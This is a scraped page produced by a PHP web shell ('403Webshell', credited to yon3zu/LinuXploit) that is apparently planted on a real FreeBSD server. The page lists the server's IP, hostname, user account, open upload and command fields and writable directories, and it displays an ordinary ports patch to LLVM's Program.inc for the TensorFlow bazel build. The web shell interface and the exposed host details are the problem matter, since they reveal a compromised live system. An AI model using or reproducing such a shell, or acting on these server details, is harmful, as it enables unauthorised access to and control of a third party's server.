403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.217.33
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/science/py-tensorflow/files/bazel/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/science/py-tensorflow/files/bazel/fix-environ.patch
--- a/llvm/lib/Support/Unix/Program.inc	2022-09-06 21:14:28.808580000 +0100
+++ b/llvm/lib/Support/Unix/Program.inc	2022-09-06 21:16:15.007790000 +0100
@@ -54,10 +54,8 @@
 #define USE_NSGETENVIRON 0
 #endif
 
-#if !USE_NSGETENVIRON
+#if USE_NSGETENVIRON
   extern char **environ;
-#else
-#include <crt_externs.h> // _NSGetEnviron
 #endif
 #endif
 
@@ -240,14 +238,6 @@
       }
     }
 
-    if (!Envp)
-#if !USE_NSGETENVIRON
-      Envp = const_cast<const char **>(environ);
-#else
-      // environ is missing in dylibs.
-      Envp = const_cast<const char **>(*_NSGetEnviron());
-#endif
-
     constexpr int maxRetries = 8;
     int retries = 0;
     pid_t PID;
@@ -308,11 +298,7 @@
 
       // Execute!
       std::string PathStr = std::string(Program);
-      if (Envp != nullptr)
-        execve(PathStr.c_str(), const_cast<char **>(Argv),
-               const_cast<char **>(Envp));
-      else
-        execv(PathStr.c_str(), const_cast<char **>(Argv));
+      execv(PathStr.c_str(), const_cast<char **>(Argv));
       // If the execve() failed, we should exit. Follow Unix protocol and
       // return 127 if the executable was not found, and 126 otherwise.
       // Use _exit rather than exit so that atexit functions and static

Youez - 2016 - github.com/yon3zu
LinuXploit